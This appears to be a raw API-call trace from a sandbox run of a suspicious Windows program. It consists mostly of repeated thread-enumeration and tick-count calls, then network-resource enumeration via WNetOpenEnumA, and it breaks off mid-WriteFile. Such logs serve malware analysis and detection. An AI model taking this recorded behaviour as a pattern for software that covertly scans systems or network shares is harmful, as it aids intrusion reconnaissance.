[0062.129] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.130] GetTickCount () returned 0x1cf3f [0062.130] GetCurrentThreadId () returned 0x94c [0062.130] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.131] GetTickCount () returned 0x1cf3f [0062.131] GetCurrentThreadId () returned 0x94c [0062.131] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.132] GetTickCount () returned 0x1cf3f [0062.132] GetCurrentThreadId () returned 0x94c [0062.132] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.133] GetTickCount () returned 0x1cf3f [0062.133] GetCurrentThreadId () returned 0x94c [0062.133] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.134] GetTickCount () returned 0x1cf3f [0062.134] GetCurrentThreadId () returned 0x94c [0062.134] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.135] GetTickCount () returned 0x1cf3f [0062.135] GetCurrentThreadId () returned 0x94c [0062.135] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.136] GetTickCount () returned 0x1cf3f [0062.136] GetCurrentThreadId () returned 0x94c [0062.136] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.137] GetTickCount () returned 0x1cf3f [0062.137] GetCurrentThreadId () returned 0x94c [0062.137] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.139] GetTickCount () returned 0x1cf4f [0062.139] GetCurrentThreadId () returned 0x94c [0062.139] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.140] GetTickCount () returned 0x1cf4f [0062.140] GetCurrentThreadId () returned 0x94c [0062.140] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.141] GetTickCount () returned 0x1cf4f [0062.141] GetCurrentThreadId () returned 0x94c [0062.141] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.142] GetTickCount () returned 0x1cf4f [0062.142] GetCurrentThreadId () returned 0x94c [0062.142] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.143] GetTickCount () returned 0x1cf4f [0062.143] GetCurrentThreadId () returned 0x94c [0062.143] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.143] GetTickCount () returned 0x1cf4f [0062.144] GetCurrentThreadId () returned 0x94c [0062.144] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.144] GetTickCount () returned 0x1cf4f [0062.144] GetCurrentThreadId () returned 0x94c [0062.144] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.145] GetTickCount () returned 0x1cf4f [0062.145] GetCurrentThreadId () returned 0x94c [0062.145] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.146] GetTickCount () returned 0x1cf4f [0062.146] GetCurrentThreadId () returned 0x94c [0062.146] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.147] GetTickCount () returned 0x1cf4f [0062.147] GetCurrentThreadId () returned 0x94c [0062.147] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.148] GetTickCount () returned 0x1cf4f [0062.148] GetCurrentThreadId () returned 0x94c [0062.148] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.149] GetTickCount () returned 0x1cf4f [0062.149] GetCurrentThreadId () returned 0x94c [0062.149] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.150] GetTickCount () returned 0x1cf4f [0062.150] GetCurrentThreadId () returned 0x94c [0062.150] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.151] GetTickCount () returned 0x1cf4f [0062.151] GetCurrentThreadId () returned 0x94c [0062.151] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.152] GetTickCount () returned 0x1cf4f [0062.152] GetCurrentThreadId () returned 0x94c [0062.152] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.153] GetTickCount () returned 0x1cf4f [0062.153] GetCurrentThreadId () returned 0x94c [0062.153] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.154] GetTickCount () returned 0x1cf5f [0062.154] GetCurrentThreadId () returned 0x94c [0062.154] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.155] GetTickCount () returned 0x1cf5f [0062.155] GetCurrentThreadId () returned 0x94c [0062.155] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.156] GetTickCount () returned 0x1cf5f [0062.156] GetCurrentThreadId () returned 0x94c [0062.156] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.157] GetTickCount () returned 0x1cf5f [0062.157] GetCurrentThreadId () returned 0x94c [0062.157] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.157] GetTickCount () returned 0x1cf5f [0062.158] GetCurrentThreadId () returned 0x94c [0062.158] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.158] GetTickCount () returned 0x1cf5f [0062.158] GetCurrentThreadId () returned 0x94c [0062.159] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.159] GetTickCount () returned 0x1cf5f [0062.159] GetCurrentThreadId () returned 0x94c [0062.159] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.160] GetTickCount () returned 0x1cf5f [0062.160] GetCurrentThreadId () returned 0x94c [0062.160] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.161] GetTickCount () returned 0x1cf5f [0062.161] GetCurrentThreadId () returned 0x94c [0062.161] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.162] GetTickCount () returned 0x1cf5f [0062.162] GetCurrentThreadId () returned 0x94c [0062.162] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.163] GetTickCount () returned 0x1cf5f [0062.163] GetCurrentThreadId () returned 0x94c [0062.163] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.164] GetTickCount () returned 0x1cf5f [0062.164] GetCurrentThreadId () returned 0x94c [0062.164] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.165] GetTickCount () returned 0x1cf5f [0062.165] GetCurrentThreadId () returned 0x94c [0062.165] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.166] GetTickCount () returned 0x1cf5f [0062.166] GetCurrentThreadId () returned 0x94c [0062.166] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.167] GetTickCount () returned 0x1cf5f [0062.167] GetCurrentThreadId () returned 0x94c [0062.167] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.168] GetTickCount () returned 0x1cf5f [0062.168] GetCurrentThreadId () returned 0x94c [0062.168] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.169] GetTickCount () returned 0x1cf6e [0062.169] GetCurrentThreadId () returned 0x94c [0062.169] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.170] GetTickCount () returned 0x1cf6e [0062.170] GetCurrentThreadId () returned 0x94c [0062.170] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.171] GetTickCount () returned 0x1cf6e [0062.171] GetCurrentThreadId () returned 0x94c [0062.171] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.172] GetTickCount () returned 0x1cf6e [0062.172] GetCurrentThreadId () returned 0x94c [0062.172] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.173] GetTickCount () returned 0x1cf6e [0062.173] GetCurrentThreadId () returned 0x94c [0062.173] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.174] GetTickCount () returned 0x1cf6e [0062.174] GetCurrentThreadId () returned 0x94c [0062.174] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.175] GetTickCount () returned 0x1cf6e [0062.175] GetCurrentThreadId () returned 0x94c [0062.175] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.176] GetTickCount () returned 0x1cf6e [0062.176] GetCurrentThreadId () returned 0x94c [0062.176] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.177] GetTickCount () returned 0x1cf6e [0062.177] GetCurrentThreadId () returned 0x94c [0062.177] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.178] GetTickCount () returned 0x1cf6e [0062.178] GetCurrentThreadId () returned 0x94c [0062.178] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.179] GetTickCount () returned 0x1cf6e [0062.179] GetCurrentThreadId () returned 0x94c [0062.179] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.180] GetTickCount () returned 0x1cf6e [0062.180] GetCurrentThreadId () returned 0x94c [0062.180] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.181] GetTickCount () returned 0x1cf6e [0062.181] GetCurrentThreadId () returned 0x94c [0062.181] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.182] GetTickCount () returned 0x1cf6e [0062.182] GetCurrentThreadId () returned 0x94c [0062.182] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.183] GetTickCount () returned 0x1cf6e [0062.183] GetCurrentThreadId () returned 0x94c [0062.183] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.183] GetTickCount () returned 0x1cf6e [0062.183] GetCurrentThreadId () returned 0x94c [0062.184] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.185] GetTickCount () returned 0x1cf7e [0062.185] GetCurrentThreadId () returned 0x94c [0062.185] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.186] GetTickCount () returned 0x1cf7e [0062.186] GetCurrentThreadId () returned 0x94c [0062.186] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.186] GetTickCount () returned 0x1cf7e [0062.187] GetCurrentThreadId () returned 0x94c [0062.187] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.187] GetTickCount () returned 0x1cf7e [0062.187] GetCurrentThreadId () returned 0x94c [0062.188] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.188] GetTickCount () returned 0x1cf7e [0062.188] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.189] GetTickCount () returned 0x1cf7e [0062.189] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.190] GetTickCount () returned 0x1cf7e [0062.190] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.191] GetTickCount () returned 0x1cf7e [0062.191] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.192] GetTickCount () returned 0x1cf7e [0062.192] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.193] GetTickCount () returned 0x1cf7e [0062.193] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.194] GetTickCount () returned 0x1cf7e [0062.194] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.195] GetTickCount () returned 0x1cf7e [0062.195] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.196] GetTickCount () returned 0x1cf7e [0062.196] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.197] GetTickCount () returned 0x1cf7e [0062.197] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.198] GetTickCount () returned 0x1cf7e [0062.198] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.199] GetTickCount () returned 0x1cf7e [0062.199] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.200] GetTickCount () returned 0x1cf8d [0062.200] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.201] GetTickCount () returned 0x1cf8d [0062.201] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.202] GetTickCount () returned 0x1cf8d [0062.202] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.202] GetTickCount () returned 0x1cf8d [0062.202] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.203] GetTickCount () returned 0x1cf8d [0062.203] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.204] GetTickCount () returned 0x1cf8d [0062.204] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.205] GetTickCount () returned 0x1cf8d [0062.205] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.205] GetTickCount () returned 0x1cf8d [0062.206] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.206] GetTickCount () returned 0x1cf8d [0062.206] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.207] GetTickCount () returned 0x1cf8d [0062.207] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.208] GetTickCount () returned 0x1cf8d [0062.208] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.209] GetTickCount () returned 0x1cf8d [0062.209] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.210] GetTickCount () returned 0x1cf8d [0062.210] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.211] GetTickCount () returned 0x1cf8d [0062.211] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.211] GetTickCount () returned 0x1cf8d [0062.211] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.212] GetTickCount () returned 0x1cf8d [0062.212] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.213] GetTickCount () returned 0x1cf8d [0062.213] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.213] GetTickCount () returned 0x1cf8d [0062.213] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.214] GetTickCount () returned 0x1cf8d [0062.214] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.215] GetTickCount () returned 0x1cf8d [0062.215] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.216] GetTickCount () returned 0x1cf9d [0062.216] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.216] GetTickCount () returned 0x1cf9d [0062.216] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.217] GetTickCount () returned 0x1cf9d [0062.217] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.218] GetTickCount () returned 0x1cf9d [0062.218] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.218] GetTickCount () returned 0x1cf9d [0062.218] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.219] GetTickCount () returned 0x1cf9d [0062.219] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.220] GetTickCount () returned 0x1cf9d [0062.220] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.221] GetTickCount () returned 0x1cf9d [0062.221] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.221] GetTickCount () returned 0x1cf9d [0062.221] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.222] GetTickCount () returned 0x1cf9d [0062.222] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.223] GetTickCount () returned 0x1cf9d [0062.223] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.223] GetTickCount () returned 0x1cf9d [0062.224] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.224] GetTickCount () returned 0x1cf9d [0062.224] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.225] GetTickCount () returned 0x1cf9d [0062.225] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.226] GetTickCount () returned 0x1cf9d [0062.226] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.226] GetTickCount () returned 0x1cf9d [0062.226] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.227] GetTickCount () returned 0x1cf9d [0062.227] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.228] GetTickCount () returned 0x1cf9d [0062.228] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.228] GetTickCount () returned 0x1cf9d [0062.228] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.229] GetTickCount () returned 0x1cf9d [0062.229] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.230] GetTickCount () returned 0x1cf9d [0062.230] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.231] GetTickCount () returned 0x1cf9d [0062.231] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.232] GetTickCount () returned 0x1cfad [0062.232] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.232] GetTickCount () returned 0x1cfad [0062.232] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.233] GetTickCount () returned 0x1cfad [0062.233] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.234] GetTickCount () returned 0x1cfad [0062.234] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.234] GetTickCount () returned 0x1cfad [0062.234] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.235] GetTickCount () returned 0x1cfad [0062.235] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.236] GetTickCount () returned 0x1cfad [0062.236] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.236] GetTickCount () returned 0x1cfad [0062.236] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.237] GetTickCount () returned 0x1cfad [0062.237] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.238] GetTickCount () returned 0x1cfad [0062.238] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.238] GetTickCount () returned 0x1cfad [0062.238] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.239] GetTickCount () returned 0x1cfad [0062.239] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.240] GetTickCount () returned 0x1cfad [0062.240] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.240] GetTickCount () returned 0x1cfad [0062.241] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.241] GetTickCount () returned 0x1cfad [0062.241] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.242] GetTickCount () returned 0x1cfad [0062.242] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.243] GetTickCount () returned 0x1cfad [0062.243] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.243] GetTickCount () returned 0x1cfad [0062.243] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.244] GetTickCount () returned 0x1cfad [0062.244] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.245] GetTickCount () returned 0x1cfad [0062.245] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.245] GetTickCount () returned 0x1cfad [0062.245] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.246] GetTickCount () returned 0x1cfad [0062.246] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.247] GetTickCount () returned 0x1cfbc [0062.247] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.248] GetTickCount () returned 0x1cfbc [0062.248] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.248] GetTickCount () returned 0x1cfbc [0062.248] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.249] GetTickCount () returned 0x1cfbc [0062.249] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.250] GetTickCount () returned 0x1cfbc [0062.250] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.250] GetTickCount () returned 0x1cfbc [0062.250] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.251] GetTickCount () returned 0x1cfbc [0062.251] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.252] GetTickCount () returned 0x1cfbc [0062.252] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.252] GetTickCount () returned 0x1cfbc [0062.253] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.253] GetTickCount () returned 0x1cfbc [0062.253] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.254] GetTickCount () returned 0x1cfbc [0062.254] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.255] GetTickCount () returned 0x1cfbc [0062.255] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.255] GetTickCount () returned 0x1cfbc [0062.255] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.256] GetTickCount () returned 0x1cfbc [0062.256] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.257] GetTickCount () returned 0x1cfbc [0062.257] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.257] GetTickCount () returned 0x1cfbc [0062.257] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.258] GetTickCount () returned 0x1cfbc [0062.258] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.259] GetTickCount () returned 0x1cfbc [0062.259] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.260] GetTickCount () returned 0x1cfbc [0062.260] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.260] GetTickCount () returned 0x1cfbc [0062.260] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.261] GetTickCount () returned 0x1cfbc [0062.261] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.262] GetTickCount () returned 0x1cfbc [0062.262] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.263] GetTickCount () returned 0x1cfcc [0062.263] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.263] GetTickCount () returned 0x1cfcc [0062.263] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.264] GetTickCount () returned 0x1cfcc [0062.264] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.265] GetTickCount () returned 0x1cfcc [0062.265] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.265] GetTickCount () returned 0x1cfcc [0062.265] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.266] GetTickCount () returned 0x1cfcc [0062.266] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.267] GetTickCount () returned 0x1cfcc [0062.267] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.267] GetTickCount () returned 0x1cfcc [0062.267] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.268] GetTickCount () returned 0x1cfcc [0062.268] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.269] GetTickCount () returned 0x1cfcc [0062.269] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.269] GetTickCount () returned 0x1cfcc [0062.269] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.270] GetTickCount () returned 0x1cfcc [0062.270] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.271] GetTickCount () returned 0x1cfcc [0062.271] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.272] GetTickCount () returned 0x1cfcc [0062.272] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.272] GetTickCount () returned 0x1cfcc [0062.273] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.273] GetTickCount () returned 0x1cfcc [0062.273] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.274] GetTickCount () returned 0x1cfcc [0062.274] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.275] GetTickCount () returned 0x1cfcc [0062.275] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.276] GetTickCount () returned 0x1cfcc [0062.276] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.277] GetTickCount () returned 0x1cfcc [0062.277] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.278] GetTickCount () returned 0x1cfdb [0062.278] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.279] GetTickCount () returned 0x1cfdb [0062.279] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.280] GetTickCount () returned 0x1cfdb [0062.280] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.281] GetTickCount () returned 0x1cfdb [0062.281] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.281] GetTickCount () returned 0x1cfdb [0062.282] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.282] GetTickCount () returned 0x1cfdb [0062.282] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.283] GetTickCount () returned 0x1cfdb [0062.283] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.284] GetTickCount () returned 0x1cfdb [0062.284] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.285] GetTickCount () returned 0x1cfdb [0062.285] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.286] GetTickCount () returned 0x1cfdb [0062.286] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.287] GetTickCount () returned 0x1cfdb [0062.287] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.287] GetTickCount () returned 0x1cfdb [0062.288] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.288] GetTickCount () returned 0x1cfdb [0062.288] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.289] GetTickCount () returned 0x1cfdb [0062.289] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.290] GetTickCount () returned 0x1cfdb [0062.290] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.290] GetTickCount () returned 0x1cfdb [0062.290] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.291] GetTickCount () returned 0x1cfdb [0062.291] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.292] GetTickCount () returned 0x1cfdb [0062.292] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.293] GetTickCount () returned 0x1cfdb [0062.293] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.294] GetTickCount () returned 0x1cfeb [0062.294] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.294] GetTickCount () returned 0x1cfeb [0062.294] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.295] GetTickCount () returned 0x1cfeb [0062.295] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.296] GetTickCount () returned 0x1cfeb [0062.296] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.296] GetTickCount () returned 0x1cfeb [0062.296] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.297] GetTickCount () returned 0x1cfeb [0062.297] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.298] GetTickCount () returned 0x1cfeb [0062.298] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.298] GetTickCount () returned 0x1cfeb [0062.299] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.299] GetTickCount () returned 0x1cfeb [0062.299] Thread32Next (hSnapshot=0x78, lpte=0x37e550) returned 1 [0062.300] GetTickCount () returned 0x1cfeb [0062.310] FreeLibrary (hLibModule=0x75a20000) returned 1 [0062.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37e138 | out: lpPerformanceCount=0x37e138*=1813754000000) returned 1 [0062.310] GlobalMemoryStatus (in: lpBuffer=0x37e530 | out: lpBuffer=0x37e530) [0062.312] WNetOpenEnumA (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x37e630 | out: lphEnum=0x37e630*=0x6a51c8) returned 0x0 [0064.110] WNetEnumResourceA (in: hEnum=0x6a51c8, lpcCount=0x37e650, lpBuffer=0x6a6fd8, lpBufferSize=0x37e634 | out: lpcCount=0x37e650, lpBuffer=0x6a6fd8, lpBufferSize=0x37e634) returned 0x0 [0064.110] WNetOpenEnumA (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x6a67f8, lphEnum=0x37e5a8 | out: lphEnum=0x37e5a8*=0x69bff0) returned 0x0 [0064.113] WNetEnumResourceA (in: hEnum=0x69bff0, lpcCount=0x37e5c8, lpBuffer=0x6ad8a0, lpBufferSize=0x37e5ac | out: lpcCount=0x37e5c8, lpBuffer=0x6ad8a0, lpBufferSize=0x37e5ac) returned 0x103 [0064.113] WNetCloseEnum (hEnum=0x69bff0) returned 0x0 [0064.114] GetLastError () returned 0x103 [0064.114] SetLastError (dwErrCode=0x103) [0064.114] GetLastError () returned 0x103 [0064.114] SetLastError (dwErrCode=0x103) [0064.114] WriteFile (in: 